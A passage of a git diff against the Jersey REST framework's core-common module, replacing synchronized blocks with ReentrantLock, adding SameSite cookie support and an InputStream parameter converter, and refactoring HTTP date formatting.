- throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE());
+ return null;
}
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java b/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java
index 46184d8..03d15d3 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,6 +33,8 @@
import java.util.NoSuchElementException;
import java.util.Set;
import java.util.TreeSet;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import java.util.logging.Level;
import java.util.logging.Logger;
@@ -797,17 +799,20 @@
public abstract static class ServiceIteratorProvider {
private static volatile ServiceIteratorProvider sip;
- private static final Object sipLock = new Object();
+ private static final Lock sipLock = new ReentrantLock();
private static ServiceIteratorProvider getInstance() {
// TODO: check the following is a good practice: Double-check idiom for lazy initialization of fields.
ServiceIteratorProvider result = sip;
if (result == null) { // First check (no locking)
- synchronized (sipLock) {
+ sipLock.lock();
+ try {
result = sip;
if (result == null) { // Second check (with locking)
sip = result = new DefaultServiceIteratorProvider();
}
+ } finally {
+ sipLock.unlock();
}
}
return result;
@@ -819,8 +824,11 @@
final ReflectPermission rp = new ReflectPermission("suppressAccessChecks");
security.checkPermission(rp);
}
- synchronized (sipLock) {
+ sipLock.lock();
+ try {
ServiceIteratorProvider.sip = sip;
+ } finally {
+ sipLock.unlock();
}
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java b/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
index 78a628d..a42a860 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
@@ -33,6 +33,7 @@
"org.glassfish.jersey.helidon.connector.HelidonClientProperties",
"org.glassfish.jersey.jdk.connector.JdkConnectorProperties",
"org.glassfish.jersey.jetty.connector.JettyClientProperties",
+ "org.glassfish.jersey.jnh.connector.JavaNetHttpClientProperties",
"org.glassfish.jersey.netty.connector.NettyClientProperties",
"org.glassfish.jersey.media.multipart.MultiPartProperties",
"org.glassfish.jersey.server.oauth1.OAuth1ServerProperties");
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java b/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java
index 13a4baf..23b127a 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java
@@ -86,7 +86,7 @@
}
@Override
public <T> Optional<T> getOptionalProperty(String name, Class<T> clazz) {
- return Optional.of(as(name, clazz));
+ return Optional.ofNullable(as(name, clazz));
}
@Override
@@ -230,9 +230,4 @@
public Set<Object> getInstances() {
return null;
}
-
- // Jersey 2.x
- private boolean hasProperty(String name) {
- return getProperty(name) != null;
- }
}
\ No newline at end of file
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java
index 0a9aaba..5798695 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java
@@ -17,11 +17,15 @@
package org.glassfish.jersey.internal.inject;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Type;
+import java.nio.charset.StandardCharsets;
import java.security.AccessController;
import java.text.ParseException;
import java.util.Date;
@@ -300,6 +304,39 @@
}
/**
+ * Provider of {@link ParamConverter param converter} that convert the supplied string into a Java
+ * {@link InputStream} instance.
+ */
+ public static class InputStreamProvider implements ParamConverterProvider {
+
+ @Override
+ public <T> ParamConverter<T> getConverter(Class<T> rawType, Type genericType, Annotation[] annotations) {
+ return rawType != InputStream.class ? null : new ParamConverter<T>() {
+
+ @Override
+ public T fromString(String value) {
+ if (value == null) {
+ throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value"));
+ }
+ return rawType.cast(new ByteArrayInputStream(value.getBytes(StandardCharsets.UTF_8)));
+ }
+
+ @Override
+ public String toString(T value) {
+ if (value == null) {
+ throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value"));
+ }
+ try {
+ return new String(((InputStream) value).readAllBytes());
+ } catch (IOException ioe) {
+ throw new ExtractorException(ioe);
+ }
+ }
+ };
+ }
+ }
+
+ /**
* Provider of {@link ParamConverter param converter} that produce the Optional instance
* by invoking {@link ParamConverterProvider}.
*/
@@ -466,6 +503,7 @@
new TypeFromStringEnum(canThrowNull),
new TypeValueOf(canThrowNull),
new CharacterProvider(canThrowNull),
+ new InputStreamProvider(),
new TypeFromString(canThrowNull),
new StringConstructor(canThrowNull),
new OptionalCustomProvider(manager, canThrowNull),
diff --git a/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/Flow.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java
similarity index 100%
rename from core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/Flow.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java
diff --git a/core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
similarity index 100%
rename from core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
diff --git a/core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
similarity index 100%
rename from core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
diff --git a/core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
similarity index 100%
rename from core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
diff --git a/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java
similarity index 100%
rename from core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java
diff --git a/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/package-info.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java
similarity index 100%
rename from core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/package-info.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java
index 4761644..5c3a747 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,9 @@
package org.glassfish.jersey.internal.util.collection;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
/**
* A collection of {@link Value Value provider} factory & utility methods.
*
@@ -297,25 +300,28 @@
private static class LazyValueImpl<T> implements LazyValue<T> {
- private final Object lock;
+ private final Lock lock;
private final Value<T> delegate;
private volatile Value<T> value;
public LazyValueImpl(final Value<T> delegate) {
this.delegate = delegate;
- this.lock = new Object();
+ this.lock = new ReentrantLock();
}
@Override
public T get() {
Value<T> result = value;
if (result == null) {
- synchronized (lock) {
+ lock.lock();
+ try {
result = value;
if (result == null) {
value = result = Values.of(delegate.get());
}
+ } finally {
+ lock.unlock();
}
}
return result.get();
@@ -380,21 +386,22 @@
private static class LazyUnsafeValueImpl<T, E extends Throwable> implements LazyUnsafeValue<T, E> {
- private final Object lock;
+ private final Lock lock;
private final UnsafeValue<T, E> delegate;
private volatile UnsafeValue<T, E> value;
public LazyUnsafeValueImpl(final UnsafeValue<T, E> delegate) {
this.delegate = delegate;
- this.lock = new Object();
+ this.lock = new ReentrantLock();
}
@Override
public T get() throws E {
UnsafeValue<T, E> result = value;
if (result == null) {
- synchronized (lock) {
+ lock.lock();
+ try {
result = value;
//noinspection ConstantConditions
if (result == null) {
@@ -406,6 +413,8 @@
}
value = result;
}
+ } finally {
+ lock.unlock();
}
}
return result.get();
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java
index f8bec0a..14a008d 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -120,6 +120,7 @@
boolean secure = false;
boolean httpOnly = false;
Date expiry = null;
+ NewCookie.SameSite sameSite = null;
public MutableNewCookie(String name, String value) {
this.name = name;
@@ -127,7 +128,7 @@
}
public NewCookie getImmutableNewCookie() {
- return new NewCookie(name, value, path, domain, version, comment, maxAge, expiry, secure, httpOnly);
+ return new NewCookie(name, value, path, domain, version, comment, maxAge, expiry, secure, httpOnly, sameSite);
}
}
@@ -163,9 +164,11 @@
cookie.version = Integer.parseInt(value);
} else if (param.startsWith("httponly")) {
cookie.httpOnly = true;
+ } else if (param.startsWith("samesite")) {
+ cookie.sameSite = NewCookie.SameSite.valueOf(value.toUpperCase());
} else if (param.startsWith("expires")) {
try {
- cookie.expiry = HttpDateFormat.readDate(value + ", " + bites[++i]);
+ cookie.expiry = HttpDateFormat.readDate(value + ", " + bites[++i].trim());
} catch (ParseException e) {
LOGGER.log(Level.FINE, LocalizationMessages.ERROR_NEWCOOKIE_EXPIRES(value), e);
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java
index 09e7553..8417fb5 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -43,7 +43,7 @@
@Override
public String toString(final Date header) {
throwIllegalArgumentExceptionIfNull(header, LocalizationMessages.DATE_IS_NULL());
- return HttpDateFormat.getPreferredDateFormat().format(header);
+ return HttpDateFormat.getPreferredDateFormatter().format(header);
}
@Override
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java
index 75479e6..9cf2abf 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,12 +18,18 @@
import java.text.ParseException;
import java.text.SimpleDateFormat;
+import java.time.Instant;
+import java.time.LocalDateTime;
+import java.time.format.DateTimeFormatter;
+import java.time.format.DateTimeParseException;
import java.util.Arrays;
import java.util.Collections;
import java.util.Date;
import java.util.List;
import java.util.Locale;
+import java.util.Queue;
import java.util.TimeZone;
+import java.util.concurrent.ConcurrentLinkedQueue;
/**
* Helper class for HTTP specified date formats.
@@ -33,6 +39,46 @@
*/
public final class HttpDateFormat {
+ private static final boolean USE_SIMPLE_DATE_FORMAT_OVER_DATE_TIME_FORMATTER = true;
+
+ /**
+ * <p>
+ * A minimum formatter for converting java {@link Date} and {@link LocalDateTime} to {@code String} and vice-versa.
+ * </p>
+ * <p>
+ * Works as a facade for implementation backed by {@link SimpleDateFormat} and {@link DateTimeFormatter}.
+ * </p>
+ */
+ public static interface HttpDateFormatter {
+ /**
+ *
+ * @param date
+ * @return
+ */
+ Date toDate(String date);
+
+ /**
+ *
+ * @param date
+ * @return
+ */
+ LocalDateTime toDateTime(String date);
+ /**
+ * Formats a {@link Date} into a date-time string.
+ *
+ * @param date the time value to be formatted into a date-time string.
+ * @return the formatted date-time string.
+ */
+ String format(Date date);
+ /**
+ * Formats a {@link LocalDateTime} into a date-time string.
+ *
+ * @param dateTime the time value to be formatted into a date-time string.
+ * @return the formatted date-time string.
+ */
+ String format(LocalDateTime dateTime);
+ }
+
private HttpDateFormat() {
}
/**
@@ -50,39 +96,40 @@
private static final TimeZone GMT_TIME_ZONE = TimeZone.getTimeZone("GMT");
- private static final ThreadLocal<List<SimpleDateFormat>> dateFormats = new ThreadLocal<List<SimpleDateFormat>>() {
+ private static final List<HttpDateFormatter> dateFormats = createDateFormats();
+ private static final Queue<List<HttpDateFormatter>> simpleDateFormats = new ConcurrentLinkedQueue<>();
- @Override
- protected synchronized List<SimpleDateFormat> initialValue() {
- return createDateFormats();
- }
- };
-
- private static List<SimpleDateFormat> createDateFormats() {
- final SimpleDateFormat[] formats = new SimpleDateFormat[]{
- new SimpleDateFormat(RFC1123_DATE_FORMAT_PATTERN, Locale.US),
- new SimpleDateFormat(RFC1036_DATE_FORMAT_PATTERN, Locale.US),
- new SimpleDateFormat(ANSI_C_ASCTIME_DATE_FORMAT_PATTERN, Locale.US)
+ private static List<HttpDateFormatter> createDateFormats() {
+ final HttpDateFormatter[] formats = new HttpDateFormatter[]{
+ new HttpDateFormatterFromDateTimeFormatter(
+ DateTimeFormatter.ofPattern(RFC1123_DATE_FORMAT_PATTERN, Locale.US).withZone(GMT_TIME_ZONE.toZoneId())),
+ new HttpDateFormatterFromDateTimeFormatter(
+ DateTimeFormatter.ofPattern(RFC1123_DATE_FORMAT_PATTERN.replace("zzz", "ZZZ"), Locale.US)
+ .withZone(GMT_TIME_ZONE.toZoneId())),
+ new HttpDateFormatterFromDateTimeFormatter(
+ DateTimeFormatter.ofPattern(RFC1036_DATE_FORMAT_PATTERN, Locale.US).withZone(GMT_TIME_ZONE.toZoneId())),
+ new HttpDateFormatterFromDateTimeFormatter(
+ DateTimeFormatter.ofPattern(RFC1036_DATE_FORMAT_PATTERN.replace("zzz", "ZZZ"), Locale.US)
+ .withZone(GMT_TIME_ZONE.toZoneId())),
+ new HttpDateFormatterFromDateTimeFormatter(
+ DateTimeFormatter.ofPattern(ANSI_C_ASCTIME_DATE_FORMAT_PATTERN, Locale.US)
+ .withZone(GMT_TIME_ZONE.toZoneId()))
};
- formats[0].setTimeZone(GMT_TIME_ZONE);
- formats[1].setTimeZone(GMT_TIME_ZONE);
- formats[2].setTimeZone(GMT_TIME_ZONE);
return Collections.unmodifiableList(Arrays.asList(formats));
}
- /**
- * Return an unmodifiable list of HTTP specified date formats to use for
- * parsing or formatting {@link Date}.
- * <p>
- * The list of date formats are scoped to the current thread and may be
- * used without requiring to synchronize access to the instances when
- * parsing or formatting.
- *
- * @return the list of data formats.
- */
- private static List<SimpleDateFormat> getDateFormats() {
- return dateFormats.get();
+ private static List<HttpDateFormatter> createSimpleDateFormats() {
+ final HttpDateFormatterFromSimpleDateTimeFormat[] formats = new HttpDateFormatterFromSimpleDateTimeFormat[]{
+ new HttpDateFormatterFromSimpleDateTimeFormat(new SimpleDateFormat(RFC1123_DATE_FORMAT_PATTERN, Locale.US)),
+ new HttpDateFormatterFromSimpleDateTimeFormat(new SimpleDateFormat(RFC1036_DATE_FORMAT_PATTERN, Locale.US)),
+ new HttpDateFormatterFromSimpleDateTimeFormat(new SimpleDateFormat(ANSI_C_ASCTIME_DATE_FORMAT_PATTERN, Locale.US))
+ };
+ formats[0].simpleDateFormat.setTimeZone(GMT_TIME_ZONE);
+ formats[1].simpleDateFormat.setTimeZone(GMT_TIME_ZONE);
+ formats[2].simpleDateFormat.setTimeZone(GMT_TIME_ZONE);
+
+ return Collections.unmodifiableList(Arrays.asList(formats));
}
/**
@@ -94,9 +141,44 @@
*
* @return the preferred of data format.
*/
+ public static HttpDateFormatter getPreferredDateFormatter() {
+ if (USE_SIMPLE_DATE_FORMAT_OVER_DATE_TIME_FORMATTER) {
+ List<HttpDateFormatter> list = simpleDateFormats.poll();
+ if (list == null) {
+ list = createSimpleDateFormats();
+ }
+ // returns clone because calling SDF.parse(...) can change time zone
+ final SimpleDateFormat sdf = (SimpleDateFormat)
+ ((HttpDateFormatterFromSimpleDateTimeFormat) list.get(0)).simpleDateFormat.clone();
+ simpleDateFormats.add(list);
+ return new HttpDateFormatterFromSimpleDateTimeFormat(sdf);
+ } else {
+ return dateFormats.get(0);
+ }
+ }
+
+ /**
+ * Get the preferred HTTP specified date format (RFC 1123).
+ * <p>
+ * The date format is scoped to the current thread and may be
+ * used without requiring to synchronize access to the instance when
+ * parsing or formatting.
+ *
+ * @return the preferred of data format.
+ * @deprecated Use getPreferredDateFormatter instead
+ */
+ // Unused in Jersey
+ @Deprecated(forRemoval = true)
public static SimpleDateFormat getPreferredDateFormat() {
+ List<HttpDateFormatter> list = simpleDateFormats.poll();
+ if (list == null) {
+ list = createSimpleDateFormats();
+ }
// returns clone because calling SDF.parse(...) can change time zone
- return (SimpleDateFormat) dateFormats.get().get(0).clone();
+ final SimpleDateFormat sdf = (SimpleDateFormat)
+ ((HttpDateFormatterFromSimpleDateTimeFormat) list.get(0)).simpleDateFormat.clone();
+ simpleDateFormats.add(list);
+ return sdf;
}
/**
@@ -108,18 +190,106 @@
* @throws java.text.ParseException in case the date string cannot be parsed.
*/
public static Date readDate(final String date) throws ParseException {
- ParseException pe = null;
- for (final SimpleDateFormat f : HttpDateFormat.getDateFormats()) {
+ return USE_SIMPLE_DATE_FORMAT_OVER_DATE_TIME_FORMATTER
+ ? readDateSDF(date)
+ : readDateDTF(date);
+ }
+
+ private static Date readDateDTF(final String date) throws ParseException {
+ final List<HttpDateFormatter> list = dateFormats;
+ return readDate(date, list);
+ }
+
+ private static Date readDateSDF(final String date) throws ParseException {
+ List<HttpDateFormatter> list = simpleDateFormats.poll();
+ if (list == null) {
+ list = createSimpleDateFormats();
+ }
+ final Date ret = readDate(date, list);
+ simpleDateFormats.add(list);
+ return ret;
+ }
+
+ private static Date readDate(final String date, List<HttpDateFormatter> formatters) throws ParseException {
+ Exception pe = null;
+ for (final HttpDateFormatter f : formatters) {
try {
- Date result = f.parse(date);
- // parse can change time zone -> set it back to GMT
- f.setTimeZone(GMT_TIME_ZONE);
- return result;
- } catch (final ParseException e) {
+ return f.toDate(date);
+ } catch (final Exception e) {
pe = (pe == null) ? e : pe;
}
}
- throw pe;
+ throw ParseException.class.isInstance(pe) ? (ParseException) pe
+ : new ParseException(pe.getMessage(),
+ DateTimeParseException.class.isInstance(pe) ? ((DateTimeParseException) pe).getErrorIndex() : 0);
+ }
+
+ /**
+ * Warning! DateTimeFormatter is incompatible with SimpleDateFormat for two digits year, since SimpleDateFormat uses
+ * 80 years before now and 20 years after, whereas DateTimeFormatter uses years starting with 2000.
+ */
+ private static class HttpDateFormatterFromDateTimeFormatter implements HttpDateFormatter {
+ private final DateTimeFormatter dateTimeFormatter;
+
+ private HttpDateFormatterFromDateTimeFormatter(DateTimeFormatter dateTimeFormatter) {
+ this.dateTimeFormatter = dateTimeFormatter;
+ }
+
+ @Override
+ public Date toDate(String date) {
+ return new Date(Instant.from(dateTimeFormatter.parse(date)).toEpochMilli());
+ }
+
+ @Override
+ public LocalDateTime toDateTime(String date) {
+ return Instant.from(dateTimeFormatter.parse(date)).atZone(GMT_TIME_ZONE.toZoneId()).toLocalDateTime();
+ }
+
+ @Override
+ public String format(Date date) {
+ return dateTimeFormatter.format(date.toInstant());
+ }
+
+ @Override
+ public String format(LocalDateTime dateTime) {
+ return dateTimeFormatter.format(dateTime);
+ }
+ }
+
+ private static class HttpDateFormatterFromSimpleDateTimeFormat implements HttpDateFormatter {
+ private final SimpleDateFormat simpleDateFormat;
+
+ private HttpDateFormatterFromSimpleDateTimeFormat(SimpleDateFormat simpleDateFormat) {
+ this.simpleDateFormat = simpleDateFormat;
+ }
+
+ @Override
+ public Date toDate(String date) {
+ final Date result;
+ try {
+ result = simpleDateFormat.parse(date);
+ } catch (ParseException e) {
+ throw new RuntimeException(e);
+ }
+ // parse can change time zone -> set it back to GMT
+ simpleDateFormat.setTimeZone(GMT_TIME_ZONE);
+ return result;
+ }
+
+ @Override
+ public LocalDateTime toDateTime(String date) {
+ return Instant.from(toDate(date).toInstant()).atZone(GMT_TIME_ZONE.toZoneId()).toLocalDateTime();
+ }
+
+ @Override
+ public String format(Date date) {
+ return simpleDateFormat.format(date);
+ }
+
+ @Override
+ public String format(LocalDateTime dateTime) {
+ return simpleDateFormat.format(Date.from(dateTime.atZone(GMT_TIME_ZONE.toZoneId()).toInstant()));
+ }
}
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java
index fe5a249..62df83f 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,6 +28,8 @@
import java.util.Locale;
import java.util.Map;
import java.util.Set;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import jakarta.ws.rs.core.Cookie;
import jakarta.ws.rs.core.MediaType;
@@ -622,6 +624,7 @@
private abstract static class ListReader<T> {
private final LRU<String, List<T>> LIST_CACHE = LRU.create();
+ private final Lock lock = new ReentrantLock();
protected final ListElementCreator<T> creator;
protected ListReader(ListElementCreator<T> creator) {
@@ -639,7 +642,8 @@
List<T> list = LIST_CACHE.getIfPresent(header);
if (list == null) {
- synchronized (LIST_CACHE) {
+ lock.lock();
+ try {
list = LIST_CACHE.getIfPresent(header);
if (list == null) {
HttpHeaderReader reader = new HttpHeaderReaderImpl(header);
@@ -655,6 +659,8 @@
}
LIST_CACHE.put(header, list);
}
+ } finally {
+ lock.unlock();
}
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java
index 3040bf6..9acc012 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/InterceptorExecutor.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -89,6 +89,11 @@
}
@Override
+ public boolean hasProperty(final String name) {
+ return propertiesDelegate.hasProperty(name);
+ }
+
+ @Override
public Object getProperty(final String name) {
return propertiesDelegate.getProperty(name);
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java
index 9c53c74..08fbf5a 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/NewCookieProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,6 +23,8 @@
import org.glassfish.jersey.internal.LocalizationMessages;
import org.glassfish.jersey.spi.HeaderDelegateProvider;
+import java.util.Locale;
+
import static org.glassfish.jersey.message.internal.Utils.throwIllegalArgumentExceptionIfNull;
/**
@@ -73,9 +75,13 @@
if (cookie.isHttpOnly()) {
b.append(";HttpOnly");
}
+ if (cookie.getSameSite() != null) {
+ b.append(";SameSite=");
+ b.append(getSameSite(cookie));
+ }
if (cookie.getExpiry() != null) {
b.append(";Expires=");
- b.append(HttpDateFormat.getPreferredDateFormat().format(cookie.getExpiry()));
+ b.append(HttpDateFormat.getPreferredDateFormatter().format(cookie.getExpiry()));
}
return b.toString();
@@ -86,4 +92,9 @@
throwIllegalArgumentExceptionIfNull(header, LocalizationMessages.NEW_COOKIE_IS_NULL());
return HttpHeaderReader.readNewCookie(header);
}
+
+ private static String getSameSite(NewCookie cookie) {
+ final String siteName = cookie.getSameSite().name();
+ return siteName.charAt(0) + siteName.substring(1).toLowerCase(Locale.ROOT);
+ }
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java
index 91738c1..7a1a4a5 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderInterceptorExecutor.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,6 +22,8 @@
import java.lang.reflect.Type;
import java.util.Iterator;
import java.util.List;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.stream.Collectors;
@@ -252,6 +254,7 @@
private final InputStream original;
private final MessageBodyReader reader;
+ private final Lock markLock = new ReentrantLock();
private UnCloseableInputStream(final InputStream original, final MessageBodyReader reader) {
this.original = original;
@@ -284,13 +287,23 @@
}
@Override
- public synchronized void mark(final int i) {
- original.mark(i);
+ public void mark(final int i) {
+ markLock.lock();
+ try {
+ original.mark(i);
+ } finally {
+ markLock.unlock();
+ }
}
@Override
- public synchronized void reset() throws IOException {
- original.reset();
+ public void reset() throws IOException {
+ markLock.lock();
+ try {
+ original.reset();
+ } finally {
+ markLock.unlock();
+ }
}
@Override
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java
index 97afd68..a75e554 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingAwarePropertiesDelegate.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -59,6 +59,14 @@
}
@Override
+ public boolean hasProperty(final String name) {
+ if (tracingLogger != null && TracingLogger.PROPERTY_NAME.equals(name)) {
+ return true;
+ }
+ return propertiesDelegate.hasProperty(name);
+ }
+
+ @Override
public Object getProperty(String name) {
if (tracingLogger != null && TracingLogger.PROPERTY_NAME.equals(name)) {
return tracingLogger;
diff --git a/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java b/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java
index ced41cd..4d92447 100644
--- a/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java
+++ b/core-common/src/main/java/org/glassfish/jersey/process/internal/RequestScope.java
@@ -1,5 +1,5 @@
/*
